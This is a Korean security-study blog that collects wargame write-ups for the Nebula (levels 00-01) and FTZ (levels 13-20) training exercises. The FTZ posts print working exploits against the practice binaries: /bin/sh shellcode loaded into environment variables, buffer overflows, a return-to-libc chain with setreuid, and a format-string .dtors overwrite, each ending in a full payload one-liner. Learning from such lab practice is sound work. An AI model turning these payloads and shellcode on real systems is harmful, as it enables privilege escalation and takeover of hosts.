보안 공부하는 꼬깔이

Nebule level01 풀이


#Nebula level01 계정

ID  : level01

PW : level01


Nabula level01 문제에 접속하면 나오는 메인화면이다. 

소스를 간단히 해석하면 해당 프로그램의 gid,uid를 가져와 system 함수를 실행시키는 소스이다.

system("/usr/bin/env echo and now what?");

소스 중 해당 부분은 system 함수를 이용해 env 환경 변수를 참조한뒤 echo 명령어로 "and now what?" 이라는 문구를 출력시킨다. 

실제로 /home/flag01 디렉터리에 존재하는 flag01 파일을 실행시켜보면 "and now what?" 이라는 문구가 출력된다.


해당 문제는 $PATH weaknesses 취약점을 이용하는 문제인 것 같다.

echo 명령어를 예로 $PATH weaknesses 취약점을 설명해보도록 하겠다.


사용자가 echo 명령을 사용하면 쉘은 echo 명령을 실행시키려 위 사진의 환경변수 $PATH 에 존재하는 경로를 왼쪽에서 부터 차례대로 확인한다. 그리고 echo 명령이 존재하는 경로를 찾으면 그 곳에 존재하는 echo 명령을 수행해 결과를 우리에게 출력시켜 준다.

이러한 특징을 이용해 우리는 PATH 환경변수의 가장 앞에 현재 계정인 level01 권한으로 파일생성이 가능한 디렉터리를 임의로 추가한뒤 해당 경로에 echo 라는 이름의 파일을 생성하고 파일에 getflag 또는 /bin/bash를 실행시키는 코드를 저장하게 되면 쉘은 맨 앞에 우리가 임의로 추가한 경로에 저장된 echo 명령을 수행할 것이고 그렇게 되면 flag01계정의 권한으로 getflag 명령 또는 /bin/bash가 실행되어 문제가 해결될 것이다.

먼저 현재 계정인 level01 권한으로 파일생성이 가능한 디렉터리를 찾아보자.

/tmp 디렉토리는 sticky 비트가 설정되어 있으며 소유자, 그륩, 그외 사용자 모두가 읽기, 쓰기 , 실행이 가능하다.

해당 디렉토리에 echo 파일을 생성하고 getflag 명령어를 수행하는 코드의 추가와 함께 실행권한을 주자

echo 파일에 getflag를 실행시키는 코드와 함께 실행권한이 추가됬다.


이제 /tmp 디렉토리 경로를 PATH 환경변수의 가장 앞에 넣어보자.

export 는 환경변수를 추가할때 사용하는 명령어다. 해당 명령어를 이용해 PATH 환경변수의 제일 앞에 /tmp 디렉터리를 추가했다. 

모든 준비를 끝마쳤으니 /home/flag01 디렉토리의 flag01 파일을 다시 실행시켜보자

성공적으로 문제를 공략했다 :D


#Nebula level01 Clear!








'System Hacking > Nebula' 카테고리의 다른 글

Nebula level00 풀이  (0) 2017.08.03

Nebula level00 풀이


[Nebula 링크]

https://exploit-exercises.com/nebula/


Nebula는 별도의 iso 파일을 제공하며 해당 iso 파일안에 문제파일 확인 및 flag흭득이 가능하다. 그리고 문제에 대한 지문은 위 링크의 우측 Levels 카테고리를 확인하면 된다. iso 파일 역시 위 링크의 Download 카테고리에 접속하면 다운로드가 가능하다.

#Level00 계정

ID : level00

PW : level00

Nebula level00 문제에 접속하면 출력되는 메인화면이다.

이 level 에서는 flag00 이라는 계정의 권한으로 Setuid가 걸린 파일을 최상위 디렉토리 " / " 로 부터 찾는것이 문제이다.


find 명령어와 여러 옵션을 사용하여 flag00 소유의 setuid가 걸려있는 파일을 찾았다.

-user 옵션은 찾으려는 파일의 소유주를 기준으로 찾을 수 있게끔 해주며 -perm 옵션은 퍼미션을 입력받아 해당 퍼미션에 대한 파일을 찾는다.


find 명령의 결과로 출력된 디렉토리로 이동하면 flag00 계정이 소유주이며 해당 계정의 권한으로 Setuid가 걸린 flag00 파일을 확인 할 수 있다.


해당파일을 실행하게 되면 축하의 메시지와 함께 "getflag" 명령을 실행하라는 주문을 받게 된다. 

주문대로 "getflag" 명령을 입력하게 되면 문제가 해결된다.


#Nebula level00 Clear!







'System Hacking > Nebula' 카테고리의 다른 글

Nebule level01 풀이  (0) 2017.08.04

FTZ level20 풀이 

 

 

 

 

level20의 홈디렉토리 내용이다. clear 계정의 setuid가 걸린 attackme 프로그램을 확인했다. 

 

hint 파일을 확인해보자

 

 

hint에는 c언어 소스 코드가 존재한다. 해석해보자

 

 

소스코드 해석을 참조하면 fgets 함수로 문자열을 입력받고 bleh[80] 버퍼에 79바이트 만큼의 입력을 받는다. 그렇다는 것은 bof 공격으로 인한 ret 값 변조를 할 수 없다는 뜻이된다.

 

print함수에서 변수를 포맷스트링 인자 %s를 사용하지 않고 단순 배열을 매개변수로 받았다. 이렇게 되면 FSB(Format String Bug) 취약점이 발생하게되며 해당 문제도 이 취약점을 이용해 해결하면 될 것 같다. GOT값을 변조하기 위해서는 print 구문을 두 번 호출해야하는데 한 번 호출하는 해당 문제에서는 .DTORS 주소를 이용해 문제를 풀어보도록 하자 

 

 

TIP.Format String Bug?

FSB 취약점은 Format string(%s,%x와 같은 C언어의 변환 명세)의 Bug를 이용해 메모리를 변조하는 기술이다.

 

 

위는 흔히 쓰이는 Format String 이다.

 

 

포맷 스트링 버그 취약점이 존재하는 해당문제의 attacme 프로그램에 임의의 문자 AAAA와 16진수를 출력하는 %x format string을 입력하게되면 %x에의해 메모리 저장된 값이 16진수로 출력되고있다.

 

 

 

TIP.dtors?

-GNU 컴파일러로 컴파일 된 프로그램은 소멸자와 생성자의 테이블 섹션인 .dtors와 .ctors 를 생성한다. 생성자 함수와 ctors 섹션은 main()이 실행되기 전에 호출되고, 소멸자 함수와 .dtors 섹션은 main()이 exit 시스템 콜로 종료되기 직전에 호출된다. 그렇기 때문에우리는 main()의 ret 영역을 덮어 씌워서 실행흐름을 조작해도 되지만, 해당 문제처럼 ret 주소를 찾기 어려운 경우 .dtors 영역을 이용해 실행흐름을 변경하면 된다.

 

 

 어떤 식으로 문제를 해결할것인지 생각해 보자

1 : .DTORS 주소

2 : 쉘 코드 환경변수 등록과 주소 획득

 

 

먼저 .DTORS의 주소를 획득해보자

 

그러기 위해서 attacme 파일을 tmp/ 디렉토리로 복사

 

 

attackme 의 심볼테이블의 바로 출력하니까 중요한 정보가 null 표시되어, hint 파일을 tmp/ 디렉토리로 복사해 컴파일 한후 심볼테이블을 확인했더니 우리가 원하는 .DTORS가 끝날떄 호출하는 명령을 저장하는 주소인 __DTOR_END__ 주소를 알 수 있었다.

 

.DTORS 주소 = 08049598

 

 

다음은 쉘 코드를 환경 변수에 등록하고 주소 확인 프로그램을 작성해 주소를 획득해 보자.

 

<SHELL CODE>

 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

export shellcode=$(python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

 

환경변수에 쉘코드 등록

 

 

 

쉘코드의 주소를 얻기위한 프로그램 작성

 

 

shellcode 주소 = 0xbffffee6

 

 

페이로드는 [4Byte공간]+[dtor의 앞주소] + [4Byte공간] + [dtor의 뒤주소] + %문자*3개 + %[쉘코드뒷주소만큼의문자수]c + %n

+ %[쉘코드앞주소만큼의 문자수]c + %n 이런식으로 작성 할 것이다.

 

페이로드를 작성하기 전에 필요한 값들을 구해보자.

 

 

[.DTORS 앞 주소] = 0x08049598

 

[4Byte공간] = "\x90"*4

 

[.DTORS 뒤 주소](DTOR주소 + 2바이트) = 0x0804959a 

 

%문자*2개 = "%8x"*2

 

[쉘코드뒤주소만큼의문자수] = fee6(십진수 65254)  - 지금까지 출력된 문자수(4+4+4+4+8*3=40) = 65254 - 40 = 65214

 

[쉘코드앞주소만큼의문자수] = bfff(십진수 49151) - 지금까지 출력된 문자수(65254) =  1bfff(십진수 114687 : 보수방식으로 계산하지 않으면 - 값이 출력되기 떄문에 보수 방식으로 계산) - 지금까지 출력된 문자수(hex = fee6,dex= 65254) = 49433

 

 

최종적인 페이로드는 (python -c 'print "\x90"*4+"\x98\x95\x04\x08"+"\x90"*4+"\x9a\x95\x04\x08"+"%8x"*3+"%65214c"+"%n"+"%49433c"+"%n"'; cat) | ./attackme

 

 

 

성공적으로 셸을 획득했고 mypass 명령어로 clear 계정의 패스워드를 출력했다.

 

이것으로 FTZ의 모든 문제를 clear 했다!!

 

'System Hacking > FTZ' 카테고리의 다른 글

FTZ level19 풀이  (0) 2017.07.04
FTZ level18 풀이  (0) 2017.07.04
FTZ level17 풀이  (0) 2017.07.04
FTZ level16 풀이  (0) 2017.07.04
FTZ level15 풀이  (0) 2017.07.04

FTZ level19 풀이

 

 

 

level19의 홈디렉토리 내용을 확인 level20의 권한으로 setuid가 걸려는 attackme 프로그램 확인

 

hint 파일을 열어보자

 

 

hint 파일의 내용에는 c언어 소스코드가 있다. 18번 문제에 비하면 코드가 매우 심플해졌다 ㅎ 해석해보자

 

 

소스 코드를 보면 사용자 입력에 대한 길이 검사를 하는 부분 없이 사용하는 gets에 의한 취약점이 존재한다. 하지만 setretuid() 등의 권한 상승에 필요한 계정에 대한 부분이 없다. 그렇다는 것은 chaining return to lib 기법을 사용하여 문제에 접근하라는 의미이다.

 

TIP.chaining retrun to lib 기법?

- 라이브러리에 필요한 함수(system(),setretud() 등) 의 주소를 알아내어 사용하는 기법

 

 

어떤 식으로 문제를 풀어야할지 생각해보자

1 : buf 에서부터 ret 까지의 거리 

2 : system() , setreuid() 함수의 주소를 획득

3 : system 함수 내부에 존재하는 /bin/bs 주소 획득

4 : setreuid 인자 정보

5 : chaining 를 위한 pop과 ret 명령어 그룹

 

 

 

먼저 buf에서 부터 ret까지의 거리를 알아보자.

 

 

0x08048458 <main+24>:   lea    eax,[ebp-40] 해당 부분을 참조하게 되면 buf에서부터 ebp까지의 거리를 알수있다.

 

buf[20] 에서부터 ebp 까지의 거리는 40이다 그렇다면 buf에서 부터 ret까지의 거리는 4Byte 낮은 주소인 44가 될것이다.

 

buf[20] 에서부터 ret까지의 거리 = 44


 

 

 

이제 system() 함수와 setreuid() 함수의 주소를 획득해 보자

 

디버깅을 위해 attackme 프로그램을 tmp/ 디렉터리로 복사

 

 

 

gdb로 디버깅을 시작하고 브레이크 포인트를 시작 main함수 시작부터 걸어준다. 그리고 프로그램을 r 명령으로 시작하고

p 명령어를 통해 system 함수와 setreuid 함수의 주소를 알아낸다.

 

system 함수의 주소 = 0x4005f430

 

setreuid 함수의 주소 = 0x400f9cc0

 

 

 

 

이제 system 함수 내부에 존재하는 /bin/bs의 주소를 알아보자

 

 

system 함수 내부에 /bin/bs 주소를 가져오는 코드이다.

 

컴파일 후 실행시켜 보자

 

 

실행시키면 /bin/bs의 주소가 출력되는것을 확인할 수 있다.

 

/bin/bs의 주소 = 0x4014ad24

 

 

이제 setreuid의 인자 정보에 대해 알아보자

 

setreuid(sub_t ruid, uid_t euid)

 

setreuid 에대한 내용을 구글링 해본결과 2개의 인자를 받아서 처리한다고 되어있다. ruid는 실제 ID euid는 프로세스에 적용할 ID가 된다.

 

 

우리는 level20 계정의 권한을 흭득 해야하므로 level20에 대한 GID를 /etc/passwd 파일에서 출력시켰다.

 

level20의 uid = 3100(페이로드 작성시 0x0000C1C로 HEX값 변환후 사용)

 

그리고 setreuid에 인자로 줄때 ruid에 3100 euid에 3100의 인자를 주면 된다.

 

 

마지막으로 chaining 를 위한 pop과 ret 명령어 그룹을 가져오도록 하자.

setreuid 를 사용하기 위해서 2개의 인자가 사용된다는 것을 확인했다. 그러므로 pop2개와 ret1개로 구성된 chaining 명령어 그룹이 필요하게된다.

 

pop-pop-ret 가 모두 연결되어 나오는 부분인 "804849d" 를 확인 할 수 있다.

 

PPR의 주소 = 804849d

 

 

 

이제 본격적인 페이로드를 작성해보자

 

기본적인 페이로드의 구조는 [buf에서 부터 ret까지의 거리] + [setreuid시작주소] + [PPR주소] + [ruid값] + [euid값] + [system시작주소] + [4Byte 공간] + [/bin/sh주소] 이런식으로 작성할 것 이다.

 

 

최종적인 페이로드는 (python -c 'print "\x90"*44+"\xc0\x9c\x0f\x40"+"\x9d\x84\x04\x08"+"\x1c\x0c\x00\x00"+"\x1c\x0c\x00\x00"+"\x30\xf4\x05\x40"+"\x90"*4+"\x24\xad\x14\x40"';cat) | ./attackme

 

 

 

성공적으로 RTL 기법으로 셸을 흭득했고 my-pass 명령어로 level20의 패스워드를 출력시켰다.

 

level19 clear ~

'System Hacking > FTZ' 카테고리의 다른 글

FTZ level20 풀이  (1) 2017.07.05
FTZ level18 풀이  (0) 2017.07.04
FTZ level17 풀이  (0) 2017.07.04
FTZ level16 풀이  (0) 2017.07.04
FTZ level15 풀이  (0) 2017.07.04

FTZ level18 풀이

 

 

level 18의 홈디렉터리에 level19 의권한으로 setuid가 걸린 attackme 프로그램 확인

 

hint를 열어보자

 

 

힌트에는 전 문제들과는 다르게 엄청 복잡한 코드가 나왔다. 흠.. 최대한 해석해보도록 하자..

 

 

코드가 시스템에 관해 알아야할 내용이 많고 복잡해서 최대한 간단하게 설명하도록 하겠다.

 

소스에서 check 변수의 값이 0xdeadbeef 면 sheelout 함수를 호출해 level19권한으로 /bin/sh 셸이 실행된다. 하지만 string[100] 보다 check 변수가 뒤에 존재해 일반적인 BOF로는 문제를 해결할 수 없을것 같다.

 

여기서 가장 중요한 부분은 버퍼의 문자수를 조절해주는 count 변수가 0x08 입력이 들어오면 1감소하게 된다는 점이다.

 

그렇다면 배열의 인덱스가 -가 되도록 하면 앞의 메모리에 접근이 가능하게 될것이다. 즉, string[100]보다 나중에 존재하는 check 변수에 접근이 가능하다는 것이다.

 

 

어떤 식으로 문제를 해결할지 생각해보자

1 : string[100] 에서 부터 check 까지의 거리

2 : check 에 0xdeadbeef를 덮어씌우는 페이로드 작성

 

 

우선 string[100] 에서 부터 check 까지의 거리를 알아보자

 

디버깅을 위해 attackme 파일을 tmp/ 디렉토리로 이동

 

 

0x08048743 <main+499>:  lea    eax,[ebp-100] 이 부분을 확인하면 string에서부터 ebp 까지의 거리를 알 수 있다

 

string[100] 에서부터 ebp 까지의 거리 = 100


 

 

0x080485ab <main+91>:   cmp    DWORD PTR [ebp-104],0xdeadbeef 이 부분을 확인하면 check변수 에서부터 ebp 까지의 거리를 확인 할 수 있다.

 

check 변수 에서부터 ebp 까지의 거리 = 104


 

string 변수에서 부터 check 까지의 거리 = [string[100] 에서 부터 ebp 까지의 거리] - [check변수에서 부터 ebp 까지의 거리] = 100 - 104 = -4

 

생각대로 check 의 위치가 string 보다 앞에 위치해있다.

 

 

이제 페이로드를 작성해 보자

 

기본적인 페이로드는 [string에서부터 check 까지의 거리] + [0xdeadbeff값] 이다

 

여기서 참고 할 점은 string에서부터 check 까지의 거리인 -4 는 0x08을 입력시 버퍼의 문자수를 조절해주는 count변수가 -1 되는것을 이용해 역으로 돌아가는 방법을 사용해야 합니다.

 

최종적인 페이로드는 (python -c 'print "\x08"*4 + "\xef\xbe\xad\xde"';cat) | ./attackme

 

 

성공적으로 0x08 의 4회 입력을 통해 버퍼 인덱스가 -4 를 가르키게 되어 check 변수에 0xdeadbeef 값를 덮어 씌울수있게 되었다.

my-pass 명령어를 통해 level19 패스워드 출력

 

level 18 clear~

'System Hacking > FTZ' 카테고리의 다른 글

FTZ level20 풀이  (1) 2017.07.05
FTZ level19 풀이  (0) 2017.07.04
FTZ level17 풀이  (0) 2017.07.04
FTZ level16 풀이  (0) 2017.07.04
FTZ level15 풀이  (0) 2017.07.04

FTZ level17 풀이

 

 

 

level17의 홈디렉토리를 확인해보면 level18의 권한으로 setuid가 걸린 attackme 파일이 존재한다

 

hint 파일을 열어보자

 

 

hint 파일에 c언어 소스코드가 존재한다.  해석해보자

 

 

16번 문제와 소스코드가 비슷하다 하지만 shell 을 실행시키는 함수 부분이 제외되었다. 그렇다면 환경변수에 쉘코드를 등록하고 쉘코드 주소를 이용해 문제를 해결해보자

 

어떤식으로 문제를 해결할지 생각해보자

1 : buf[20] ~ *call 거리

2 : 쉘코드를 환경변수에 등록하고 주소를 확인

3 : *call위치를 쉘코드 주소로 덮어 씌우는 페이로드 작성

 

 

 

우선 buf[20] 에서부터 *call 까지의 거리를 알아보자

 

디버깅을 위해 attackme 파일을 tmp/ 디렉토리로 복사하자

 

0x08048530 <main+24>:   lea    eax,[ebp-56] 해당 부분을 확인해보면 buf에서부터 ebp의 거리를 확인할 수 있다.

buf[20]에서 부터 ebp 까지의 거리 = 56

 

0x080484e1 <main+57>:   mov    eax,DWORD PTR [ebp-16] 해당 부분을 확인해보면 call 에서부터 ebp의 거리를 확인 할 수 있다.

 

call 에서부터 ebp 까지의 거리 = 16


buf[20] 에서부터 call 까지의 거리 = (buf[20]에서부터 ebp까지의 거리) - (call 에서부터 ebp 까지의 거리) = 56 - 16  = 40

 

 

 

이제 쉘코드 주소를 환경변수에 등록하고 그 주소를 확인해보자

 

<SHELL CODE>

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

export shellcode=$(python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

 

해당 명령어로 shellcode를 환경변수에 등록

 

 

위 코드로 shellcode 주소 확인

 

 

쉘 코드의 주소 = 0xbffffef0

 

 

 

이제 본격적으로 페이로드를 작성해보자

 

기본적인 페이로드는 [buf[20] 에서부터 call까지의 거리] + [쉘코드주소] 이런식으로 작성할 것이다.

 

최종적인 페이로드는 (python -c 'print "\x90"*40+"\xf0\xfe\xff\xbf"';cat) | ./attackme

 

 

 

성공적으로 call 포인터 함수가 가르키는 주소가 쉘 코드 주소로 덮어 씌워져 쉘이 실행됬다. my-pass 명령어로 level18

패스워드 출력

 

level17 clear ~ 

 

'System Hacking > FTZ' 카테고리의 다른 글

FTZ level19 풀이  (0) 2017.07.04
FTZ level18 풀이  (0) 2017.07.04
FTZ level16 풀이  (0) 2017.07.04
FTZ level15 풀이  (0) 2017.07.04
FTZ level14 풀이  (0) 2017.07.04

FTZ level16 풀이

 

 

 

level16의 홈디렉토리에 level17의 권한으로 setuid가 걸린 attackme 프로그램 존재

 

hint 파일을 열어보자

 

 

hint 파일에는 c소스 파일이 있었다. 해석해보자

 

 

코드 해석을 참조하면 level17의 권한으로 셸을 실행하는 함수 shell 함수와 단순 출력을 하는 printit 함수를 선언하고 call 포인터에 printit 함수를 저장하고 main()의 마지막부분에서 호출한다. 그렇다면 printit을 가르키고 있는 call의 주소 값을 shell 함수 주소로 변조하면 어떻게 될까?

 

문제를 해결하기 위한 방법을 생각해보자.

1 : buf[20] 에서 부터 *call 까지의 거리

2 : shell 함수의 주소 가져오기

3 : *call위치에 shell 함수 주소를 덮어 씌우는 페이로드 제작

 

 

우선 buf[20] 에서부터 *call 까지의 거리를 확인해보자

 

디버깅을 위해 attackme 파일을 tmp/로 복사

 

 

0x08048530 <main+24>:   lea    eax,[ebp-56] 해당 부분을 확인해보면 buf에서부터 ebp의 거리를 확인할 수 있다.

buf[20]에서 부터 ebp 까지의 거리 = 56

 

0x0804853c <main+36>:   mov    eax,DWORD PTR [ebp-16] 해당 부분을 확인해보면 call 에서부터 ebp의 거리를 확인 할 수 있다.

 

call 에서부터 ebp 까지의 거리 = 16


buf[20] 에서부터 call 까지의 거리 = (buf[20]에서부터 ebp까지의 거리) - (call 에서부터 ebp 까지의 거리) = 56 - 16  = 40

 

 

이제 p 명령어로 shell 함수가 위치해 있는 주소를 확인해보자

 

 

shell 함수가 위치한 주소 = 0x80484d0

 

 

이제 본격적으로 페이로드를 작성해보자

 

기본적으로 페이로드는 [buf~call 거리] + [shell 함수 주소] 이런식으로 작성할 것이다.

 

최종적인 페이로드는 (python -c 'print "\x90"*40+"\xd9\x84\x04\x08:';cat) | ./attackme

 

 

성공적으로 call 포인터가 shell 함수주소를 불러오게 변조되어 셸이 실행됬다. my-pass 명령어로 level 17의 패스워드 출력

 

level16 clear ~ 

 

 

'System Hacking > FTZ' 카테고리의 다른 글

FTZ level18 풀이  (0) 2017.07.04
FTZ level17 풀이  (0) 2017.07.04
FTZ level15 풀이  (0) 2017.07.04
FTZ level14 풀이  (0) 2017.07.04
FTZ level13 풀이  (0) 2017.07.04

FTZ level15 풀이

 

 

 

level15 홈디렉토리의 내용이다. level16의 권한으로 setuid가 걸린 attackme 프로그램 존재

 

hint 파일을 열어보자

 

hint 파일에 c언어 소스코드가 있었다.

 

소스코드를 해석해보자

 

 

 

14번 문제와 동일한 코드에서 check 변수를 포인터로 변경했다. 포인터 변수는 메모리의 주소 값을 저장하는 변수이다.

그렇다면 check에 들어가는 값은 메모리의 주소 값으로 저장되며, check 포인터 변수에 있는 값이 가리키는 메모리 주소에

0xdeadbeef를 넣어줘야 문제가 풀릴 것이다.

 

어떤식으로 문제를 해결할지 생각해보자

1 : buf[20]에서 부터 *check 까지의 거리

2 : 디버깅을 통해 0xdeadbeef 주소 알아오기

3 : *check 포인터 변수에 존재하는 메모리 주소에 0xdeadbeef 덮어 씌우는 페이로드 작성

 

우선 buf[20]에서 부터 *check 까지의 거리를 구해보자

 

디버깅을 위해 attackme 파일을 /tmp 폴더로 복사

 

 

0x080484a1 <main+17>:   lea    eax,[ebp-56] 해당 부분으로 buf에서 ebp까지의 거리를 구할 수 있다.

 

buf[20] 에서부터 ebp 까지의 거리 = 56

0x080484ad <main+29>:   cmp    DWORD PTR [ebp-16],0xdeadbeef 해당 부분은 조건문에서 *check 포인터와 0xdeadbeef 값을 비교하는 부분이다.

 

*check 에서부터 ebp 까지의 거리 = 16

 

 

buf[20]에서 *check까지의 거리 = (buf에서 ebp까지의 거리) - (*check에서부터 ebp까지의 거리) =  56 - 16 = 40

 

 

이제 메모리 상에서 0xdeadbeef가 존재하는 위치를 알아보자

 

 

0x080484b0 <main+32>:   cmp    DWORD PTR [eax],0xdeadbeef 해당 부분은 0xdeadbeef 와 *check를 비교하는 부분이다.

 

이 부분은 x/10x 0x080484b0 명령어로 해당 주소로부터 10바이트까지의 주소를 출력시켜서 확인 후 찾아보자

 

 

0xdeadbeef 값이 존재하는 주소가 0x80484b2 라는것을 알았다.

 

 


이제 본격적으로 페이로드를 작성해보자.

 

페이로드는 [buf[20]에서부터 *check 까지의 거리] + [check(0xdeadbeef)주소] 이런식으로 작성할 것이다.

 

최종적으로 페이로드는 (python -c 'print "\x90"*40+"\xb2\x84\x04\x08"';cat) | ./attackme

 

성공적으로 *check 포인터 변수에 저장된 주소를 0xdeadbeef 주소로 덮어 씌웠고 /bin/sh 쉘이 실행되었다. 그리고 my-pass

명령어로 level16의 패스워드를 출력시켰다.

 

level15 clear ~

 

'System Hacking > FTZ' 카테고리의 다른 글

FTZ level17 풀이  (0) 2017.07.04
FTZ level16 풀이  (0) 2017.07.04
FTZ level14 풀이  (0) 2017.07.04
FTZ level13 풀이  (0) 2017.07.04
FTZ level12 풀이  (1) 2017.07.04

FTZ level14 풀이

 

 

 

level14의 홈디렉토리 내용이다 . level15의 setuid가 걸린 attackme 파일 존재

 

hint 파일을 출력해보자.

 

 

이번 힌트에서는 c언어 소스코드에 더불어서 버퍼 오버플로우 포맷스트링 버그 학습에 효과적인 문제라는 친절한 설명도 적혀있다.

 

이제 코드를 해석해보자

 

 

소스 코드 해석을 참조하면 fgets 함수로 45바이트 만큼의 입력만 받는다. 아마 ret 변조를 통한 공략을 불가능하게 해둔 모양이다.

 

어떤식으로 문제를 해결 할 것인지 생각해보자

1 : buf[20]에서부터 check까지의 거리

2 : chack 위치에 0xdeadbeef를 덮어씌우는 페이로드 제작

 

 

우선 buf[20] 에서부터 check까지의 거리를 구해보자.

 

디버깅을 위해 attackme 프로그램을 tmp/ 폴더로 복사하자

 

 

0x080484a1 <main+17>:   lea    eax,[ebp-56] 해당 부분으로 buf에서 ebp까지의 거리를 구할 수 있다.

 

buf[20] 에서부터 ebp 까지의 거리 = 56

0x080484ad <main+29>:   cmp    DWORD PTR [ebp-16],0xdeadbeef 해당 부분은 조건문에서 check 변수와 0xdeadbeef 값을 비교하는 부분이다.

 

check 에서부터 ebp 까지의 거리 = 16

 

 

buf[20]에서 check까지의 거리 = (buf에서 ebp까지의 거리) - (check에서부터 ebp까지의 거리) =  56 - 16 = 40

 

 

이제 본격적으로 페이로드를 작성해보자

 

페이로드는 [buf~check거리] + [변조할값] 이런식으로 작성 할 것이다.

 

최종적으로 페이로드는 (python -c 'print "\x90"*40+"\xef\xbe\xad\xde"';cat) | ./attackme

 

페이로드가 성공적으로 들어갔고 /bin/sh 쉘이 실행됬다. my-pass 명령어로 level15 패스워드 출력

 

level14 clear ~

 

'System Hacking > FTZ' 카테고리의 다른 글

FTZ level16 풀이  (0) 2017.07.04
FTZ level15 풀이  (0) 2017.07.04
FTZ level13 풀이  (0) 2017.07.04
FTZ level12 풀이  (1) 2017.07.04
FTZ level11 풀이  (0) 2017.07.04

FTZ level13 풀이

 

 

 

level13 의 홈디렉토리 내용이다. 이번에도 attack me 프로그램이 존재한다.

 

attackme 프로그램에는 level14의 권한으로 setuid가 걸려 있다.

 

hint 파일을 확인해보자

 

 

hint 파일에 c 소스코드가 들어있다. 해석해보자

 

 

 

코드 해석 내용을 참조하면 i 변수를 이용해 버퍼 오버 플로우 공격 여부를 검사하는 것 같다. 그래서 페이로드 작성시 중간에 변수 i 부분을 다시 0x1234567 값으로 변조하는 페이로드를 작성해야 할 것 같다.

 

어떤 식으로 문제를 해결할지 생각해보자

1 : buf[1024]~ 변수 i 까지의 거리, 변수 i ~ ret 까지의 거리

2 : 환경 변수에 쉘코드를 등록하고 주소 확인

3 : ret위치의 데이터를 쉘코드 주소로 변조시키는 페이로드 작성

 

 

먼저 buf[1024] ~ 변수 i 까지의 거리와 변수 i~ ret 까지의 거리를 알아보자

 

디버깅을 위해 attackme 파일을 tmp/ 디렉터리로 이동

 

 

 0x080484d6 <main+54>:   lea    eax,[ebp-1048] 해당 부분을 확인하면 buf 에서 ebp 까지의 거리를 구할 수 있다.

 

buf 에서 ebp 까지의 거리 = 1048

 

buf 에서 ret 까지의 거리 = 1052(1048+4Byte) 

 

0x080484e5 <main+69>:   cmp    DWORD PTR [ebp-12],0x1234567 해당 부분은 if문에서 변수 i 와 0x1234567를 비교하는 부분이다.

 

i 에서 ebp 까지의 거리 = 12
 

i 에서 ret 까지의 거리 = 16

 

최종적으로 buf 에서 i 까지의 거리는 (buf에서 ret까지의 거리) - (i에서 ret 까지의 거리) = 1052 - 16 = 1036

i변수의 끝에서 ret 까지의 거리 = (i에서 ret까지의 거리) - i의 크기(long형은 4Byte) = 16 - 4 =12

 

 

이제 쉘코드 주소를 환경 변수에 등록하자

 

<SHELL CODE>

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

 

그리고 쉘코드의 주소를 알아오기 위해 간단한 c소스코드를 작성후 실행해 주소를 얻도록 하자

 

 

 

 

쉘 코드의 주소 = 0xbffffef6

 

 

본격적으로 페이로드를 작성해보자.

 

페이로드는 [buf에서 i까지의 거리] + [i값] + [i변수의 끝에서 ret까지의 거리] + [쉘코드 주소] 이런식으로 작성 할 것이다.

 

최종적으로 페이로드는 ./attackme `python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\xf6\xfe\xff\xbf"'`

 

 

페이로드를 실행하면 성공적으로 쉘을 획득하게 되고 my-pass 명령어로 level14 패스워드 출력!

 

level13 claer ~

'System Hacking > FTZ' 카테고리의 다른 글

FTZ level15 풀이  (0) 2017.07.04
FTZ level14 풀이  (0) 2017.07.04
FTZ level12 풀이  (1) 2017.07.04
FTZ level11 풀이  (0) 2017.07.04
FTZ level10 풀이  (0) 2017.06.30